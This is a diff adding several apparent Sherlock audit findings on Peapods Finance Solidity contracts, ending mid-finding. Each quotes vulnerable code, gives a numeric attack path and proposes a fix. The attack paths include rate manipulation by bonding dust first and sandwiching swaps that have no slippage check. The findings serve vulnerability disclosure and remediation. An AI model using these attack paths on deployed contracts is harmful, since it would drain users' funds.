new file mode 100644
index 0000000..e8a176c
--- /dev/null
+++ b/236.md
@@ -0,0 +1,166 @@
+Silly Maroon Shell
+
+Medium
+
+# An attacker can manipulate token rates by bonding dust amount to `WeightedIndex` when it is configured for multi-assets.
+
+### Summary
+
+Missing check of minimum amount of minted supply will cause manipulated rates of assets to be different from weights which are set by owner as an attacker will manipulate asset rates per unit supply.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L150
+
+
+
+### Root Cause
+
+- In WeightedIndex.sol#bond() function, minimum amount of minted supply is only checked by value which is passed by caller.
+```solidity
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ require(_isTokenInIndex[_token], "IT");
+ uint256 _tokenIdx = _fundTokenIdx[_token];
+
+ bool _firstIn = _isFirstIn();
+ uint256 _tokenAmtSupplyRatioX96 =
+ _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token];
+ uint256 _tokensMinted;
+ if (_firstIn) {
+ _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1;
+ } else {
+ _tokensMinted = (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+ }
+ uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 : (_tokensMinted * _fees.bond) / DEN;
+ require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
+ _totalSupply += _tokensMinted;
+ _mint(_user, _tokensMinted - _feeTokens);
+ if (_feeTokens > 0) {
+ _mint(address(this), _feeTokens);
+ _processBurnFee(_feeTokens);
+ }
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _transferAmt = _firstIn
+ ? getInitialAmount(_token, _amount, indexTokens[_i].token)
+ : (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+ require(_transferAmt > 0, "T0");
+ _totalAssets[indexTokens[_i].token] += _transferAmt;
+ _transferFromAndValidate(IERC20(indexTokens[_i].token), _user, _transferAmt);
+ }
+ _internalBond();
+ emit Bond(_user, _token, _amount, _tokensMinted);
+ }
+```
+So an attacker can manipulate asset rates by bonding dust amount.
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+- We say that `WeightedIndex` is configured for two tokens - token1, token2.
+And they all have 18 decimals and their weights are [1, 3].
+Then, index tokens' `q1`s are [1 * Q96 * 1e18, 3 * Q96 * 1e18] by following code snippet.
+```solidity
+ uint256 _xX96 = (FixedPoint96.Q96 * _totalWeights) / _weights[0]; @audit: _xX96 = Q96 * 4 / 1 = 4 * Q96
+ for (uint256 _i; _i < _tl; _i++) {
+ indexTokens[_i].q1 = (_weights[_i] * _xX96 * 10 ** IERC20Metadata(_tokens[_i]).decimals()) / _totalWeights;
+ }
+```
+- An attacker bonds 4 wei of token2.
+Then, minted supply is 1 wei by following code.
+```solidity
+ if (_firstIn) {
+@> _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1; @ audit: _tokenIdx = 1 and _tokensMinted = 4 * Q96 * 1e18 / (3 * Q96 * 1e18) = 1.
+ } else {
+```
+And transfered amount of token1 is 1 wei by following code, too.
+```solidity
+ uint256 _sourceTokenIdx = _fundTokenIdx[_sourceToken]; // @audit: _sourceTokenIds = 1
+ uint256 _targetTokenIdx = _fundTokenIdx[_targetToken]; // @audit: _targetTokenIdx = 0
+ return (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metadata(_targetToken).decimals())
+ / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata(_sourceToken).decimals(); // @audit: 4 * 1 * 1e18 / 3 / 1e18 = 1
+```
+- So bonded assets are [1 wei, 1 wei] and totalSupply becomes 1 wei.
+- After that, users must bond with wrong asset rates(1:1).
+```solidity
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ require(_isTokenInIndex[_token], "IT");
+ uint256 _tokenIdx = _fundTokenIdx[_token];
+
+ bool _firstIn = _isFirstIn();
+ uint256 _tokenAmtSupplyRatioX96 =
+@> _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token]; @audit: _totalAssets[token] = 1 wei and _tokenAmtSupplyRatioX96 = _amount * Q96.
+ uint256 _tokensMinted;
+ if (_firstIn) {
+ _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1;
+ } else {
+@> _tokensMinted = (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96; @audit: 1 * _amount * Q96 / Q96 = _amount
+ }
+ uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 : (_tokensMinted * _fees.bond) / DEN;
+ require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
+ _totalSupply += _tokensMinted;
+ _mint(_user, _tokensMinted - _feeTokens);
+ if (_feeTokens > 0) {
+ _mint(address(this), _feeTokens);
+ _processBurnFee(_feeTokens);
+ }
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _transferAmt = _firstIn
+ ? getInitialAmount(_token, _amount, indexTokens[_i].token)
+@> : (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96; // @audit: 1 * _amount * Q96 / Q96 = _amount
+ require(_transferAmt > 0, "T0");
+ _totalAssets[indexTokens[_i].token] += _transferAmt;
+ _transferFromAndValidate(IERC20(indexTokens[_i].token), _user, _transferAmt);
+ }
+ _internalBond();
+ emit Bond(_user, _token, _amount, _tokensMinted);
+ }
+```
+As we can see above, from second bonding users have to bond by wrong asset rates.
+At this time, `_amountMintMin` for slippage check does not interact in case of bonding first asset because its weight is `1`.
+
+### Impact
+
+Protocol and users suffer from wrong asset rates manipulated by attacker.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a check of minimum total supply so that an attacker cannot manipulate asset rates by rounding error.
+For example, we can do it as follows.
+```solidity
+++ const uint256 MINIMUM_SUPPLY = 1e9;
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ require(_isTokenInIndex[_token], "IT");
+ ...
+ _totalSupply += _tokensMinted;
+ ...
+ _internalBond();
+
+++ require(_totalSupply >= MINIMUM_SUPPLY);
+
+ emit Bond(_user, _token, _amount, _tokensMinted);
+ }
+
+ /// @notice The ```debond``` function unwraps a user out of a pod and burns pTKN
+ /// @param _amount Number of pTKN to burn
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ ...
+ _totalSupply -= _amountAfterFee;
+ ...
+
+++ require(_totalSupply == 0 || _totalSupply >= MINIMUM_SUPPLY);
+
+ emit Debond(_msgSender(), _amount);
+ }
+```
\ No newline at end of file
diff --git a/237.md b/237.md
new file mode 100644
index 0000000..53b17b9
--- /dev/null
+++ b/237.md
@@ -0,0 +1,136 @@
+Silly Maroon Shell
+
+High
+
+# Wrong calculation of `_vaultAssetRatioChange` will cause loss of assets to users.
+
+### Summary
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L294
+
+Wrong calculation of `_vaultAssetRatioChange` will cause loss of assets to depositors as tracked total assets are less than real.
+
+
+### Root Cause
+
+- In LendingAssetVault.sol:294, there is wrong calculation of `_vaultAssetRatioChange` in case of decreased cbr.
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+@> ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION // @audit: this is wrong
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+We say that `_prevVaultCbr = a` and current vault cbr is `b`.
+In case of increased cbr, `a < b` and `_vaultAssetRatioChange` becomes `b / a - 1`.
+But in case of decreased cbr, `a > b` and `_vaultAssetRatioChange` is calculated wrongly with `a / b - 1`.
+The correct calculation is `1 - b / a` and `1 - b / a` < `a / b - 1`.
+So totalAssets are decreased more than real.
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+- We say that a vault's utilization is 1e18 and `totalUtilized = totalAssets = 1e18` when `cbr = 1e27`.
+- Then, cbr is changed to `0.9e27` because of bad debt.
+- Then, `_vaultAssetRatioChange` becomes `1e27 * 1e27 / 0.9e27 - 1e27` = 0.11..1e27.
+So `_changeUtilizedState` becomes 1e18 * 0.11..1e27 / 1e27 = 0.11...1e18.
+Therefore, result `totalAssets` become 1e18 - 0.11...1e18 = 0.88...89e18.
+
+In fact, real result `totalAssets` is 1e18 * 0.9e27 / 1e27 = 0.9e18.
+So loss of assets is `0.9e18 - 0.88...89e18 = 0.011...1e18`.
+Therefore, depositors lose 1% of assets about 10% of cbr decreasing.
+This fact means that depositors lose 10% of assets more than real decreasing.
+
+### Impact
+
+The depositors will lose funds when cbr is decreased.
+
+
+### PoC
+
+- We say that a vault's utilization is 1e18 and `totalUtilized = totalAssets = 1e18` when `cbr = 1e27`.
+- Then, cbr is changed to `0.9e27` because of bad debt.
+- Then, `_vaultAssetRatioChange` becomes `1e27 * 1e27 / 0.9e27 - 1e27` = 0.11..1e27.
+So `_changeUtilizedState` becomes 1e18 * 0.11..1e27 / 1e27 = 0.11...1e18.
+Therefore, result `totalAssets` become 1e18 - 0.11...1e18 = 0.88...89e18.
+
+In fact, real result `totalAssets` is 1e18 * 0.9e27 / 1e27 = 0.9e18.
+So loss of assets is `0.9e18 - 0.88...89e18 = 0.011...1e18`.
+Therefore, depositors lose 1% of assets about 10% of cbr decreasing.
+This fact means that depositors lose 10% of assets more than real decreasing.
+
+### Mitigation
+
+1. Modify `LendingAssetVault.sol#_updateAssetMetadataFromVault()` function as follows.
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+-- ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+++ ? PRECISION - ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr)
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+2. Modify `LendingAssetVault.sol#_previewAddInterestAndMdInAllVaults()` function as follows.
+```solidity
+ function _previewAddInterestAndMdInAllVaults() internal view returns (uint256 _previewTotalAssets) {
+ _previewTotalAssets = _totalAssets;
+ uint256 _l = _vaultWhitelistAry.length;
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ if (_prevVaultCbr == 0) {
+ continue;
+ }
+
+ // the following effectively simulates addInterest + convertToAssets
+ (,,,, VaultAccount memory _totalAsset,) = IFraxlendPair(_vault).previewAddInterest();
+ uint256 _newVaultCbr = _totalAsset.toAmount(PRECISION, false);
+
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _newVaultCbr
+-- ? ((PRECISION * _prevVaultCbr) / _newVaultCbr) - PRECISION
+++ ? PRECISION - ((PRECISION * _newVaultCbr) / _prevVaultCbr)
+ : ((PRECISION * _newVaultCbr) / _prevVaultCbr) - PRECISION;
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ uint256 _newAssetsUtilized = _prevVaultCbr > _newVaultCbr
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _previewTotalAssets = _previewTotalAssets - _currentAssetsUtilized + _newAssetsUtilized;
+ }
+ }
+```
\ No newline at end of file
diff --git a/238.md b/238.md
new file mode 100644
index 0000000..a20150e
--- /dev/null
+++ b/238.md
@@ -0,0 +1,57 @@
+Silly Maroon Shell
+
+High
+
+# Missing slippage check will cause loss of fees.
+
+### Summary
+
+Missing slippage check will cause loss of fees as an attacker can sandwich that transaction.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L232
+
+### Root Cause
+
+- In DecentralizedIndex.sol:232, there is no slippage check.
+```solidity
+ function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+@> DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0/* @audit - missing slippage*/, _rewards);
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+```
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+An attacker will sandwich swapping fees and users will lose fees.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a slippage check in swapping fees from prices of tokens. We can get prices from oracles of protocol.
\ No newline at end of file
diff --git a/239.md b/239.md
new file mode 100644
index 0000000..b0cbe86
--- /dev/null
+++ b/239.md
@@ -0,0 +1,93 @@
+Silly Maroon Shell
+
+High
+
+# The yield converting can always be failed in `AutoCompoundingPodLp`.
+
+### Summary
+
+Wrong calculation of `_pairedSwapAmt` will cause reverting of `indexUtils.addLPAndStake` by slippage check as the yield can not be converted stakingPool's asset.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L313
+
+### Root Cause
+
+- In AutoCompoundingPodLp.sol:313, there is wrong calculation of `_pairedSwapAmt`. It does not consider `pod.balanceOf(address(this))`.
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+313@> uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+@> try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+327@> _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+@> try indexUtils.addLPAndStake(
+332 pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+As we can see above, `indexUtils.addLPAndStake()` can be reverted because of several problems.
+In this case, some pod balance is remained to this contract.
+But `L313` does not consider `pod.balanceOf(address(this))` when calculating `_pairedSwapAmt`.
+And L327 uses contract's balance of `pod` to call `indexUtils.addLPAndStake()`.
+
+This means that ratio of `_podAmountOut : _pairedRemaining` can be different from pool's price.
+So `indexUtils.addLPAndStake()` will be reverted by slippage check.
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+- We say that pod's balance of this contract is 1e18.
+- And pool's ratio of `pod : pairedLpToken` is 1:1 and it has enough liquidity so price does not change by swapping.
+- 2e18 of pairedLpToken is accrued and then calculated swapAmount is 1e18.
+- After swap, pod's balance is `1e18 + 1e18 = 2e18` and pairedLpToken's amount is 1e18.
+- So because pool's ratio is `1:1`, `indexUtils.addLPAndStake()` will be reverted by slippage check.
+
+
+### Impact
+
+Accrued yields can not be converted assets, so depositors cannot receive fees.
+
+
+### PoC
+
+- We say that pod's balance of this contract is 1e18.
+- And pool's ratio of `pod : pairedLpToken` is 1:1 and it has enough liquidity so price does not change by swapping.
+- 2e18 of pairedLpToken is accrued and then calculated swapAmount is 1e18.
+- After swap, pod's balance is `1e18 + 1e18 = 2e18` and pairedLpToken's amount is 1e18.
+- So because pool's ratio is `1:1`, `indexUtils.addLPAndStake()` will be reverted by slippage check.
+
+
+### Mitigation
+
+Modify the calculation of `_pairedSwapAmt` so that it considers pod's balance of contract.
\ No newline at end of file
diff --git a/240.md b/240.md
new file mode 100644
index 0000000..298320d
--- /dev/null
+++ b/240.md
@@ -0,0 +1,104 @@
+Silly Maroon Shell
+
+Medium
+
+# Recursive decreasing of `_amountOutMin` will cause loss of funds.
+
+### Summary
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L177
+
+The recursive decreasing of `_amountOutMin` will cause weak slippage check as an attacker can sandwich and steal funds.
+
+
+### Root Cause
+
+- In Zapper.sol:177, there is wrong calculation of `amountOutMin`.
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+@> if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+@> _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+@> _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+As we can see above, `amountOutMin` is always decreased by `_finalSlip` even if the user passed valid `_amountOutMin > 0`.
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+An attacker can sandwich and steal funds because of weak slippage check.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify `Zapper.sol#_swapV3Single()` function as follows.
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+++ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+++ else{
+++ _finalSlip = 0;
+++ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+-- uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/241.md b/241.md
new file mode 100644
index 0000000..672f01d
--- /dev/null
+++ b/241.md
@@ -0,0 +1,117 @@
+Silly Maroon Shell
+
+High
+
+# Missing slippage check will cause loss of funds.
+
+### Summary
+
+Missing slippage check in `AutoCompoundingPodLp.sol` will cause loss of funds as an attacker can steal funds.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L266
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L284
+
+### Root Cause
+
+- In AutoCompoundingPodLp.sol:266, 284, there is no slippage check.
+```solidity
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ ...
+
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+@> _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+ _amountIn = _amountInOverride;
+ }
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+ IERC20(_rewardsToken).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+@> 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+ ) returns (uint256 __amountOut) {
+ ...
+ } catch {
+ ...
+ }
+ }
+```
+In fact, `AutoCompoundingPodLp.sol#deposit, mint, withdraw, redeem` functions calls upper function with zero slippage parameter.
+```solidity
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+@> _processRewardsToPodLp(0/* @audit: No slippage check*/, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+ function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+@> _processRewardsToPodLp(0, block.timestamp);
+ _assets = _convertToAssets(_shares, Math.Rounding.Ceil);
+ _deposit(_assets, _shares, _receiver);
+ }
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+@> _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+ function redeem(uint256 _shares, address _receiver, address _owner) external override returns (uint256 _assets) {
+@> _processRewardsToPodLp(0, block.timestamp);
+ _assets = _convertToAssets(_shares, Math.Rounding.Floor);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+@> require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+An attacker can sandwich and steal funds because of missing slippage check.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add atomic slippage check from prices of oracle to all swapping.
\ No newline at end of file
diff --git a/242.md b/242.md
new file mode 100644
index 0000000..c4a6fc8
--- /dev/null
+++ b/242.md
@@ -0,0 +1,119 @@
+Silly Maroon Shell
+
+High
+
+# The `DecentralizedIndex.sol#_update()` is called recursively and fees are applied more than normal.
+
+### Summary
+
+Recursive entering to `DecentralizedIndex.sol#_update()` will cause more fee than normal.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L180
+
+### Root Cause
+
+- In `DecentralizedIndex.sol:180`, there is recursive entering to `DecentralizedIndex.sol#_update()`.
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+176 _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+@> _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+We say `_fee > 0`.
+Then, `_processBurnFee()` function is as follows.
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+@> _burn(address(this), _burnAmt); // @audit: reentrant to _update().
+ }
+```
+`DecentralizedIndex` is derived from `ERC20Upgradeable` and `ERC20Upgradeable#_burn()` function is as follows.
+```solidity
+ function _burn(address account, uint256 value) internal {
+ if (account == address(0)) {
+ revert ERC20InvalidSender(address(0));
+ }
+@> _update(account, address(0), value); @audit: reentrant
+ }
+```
+This is big error.
+
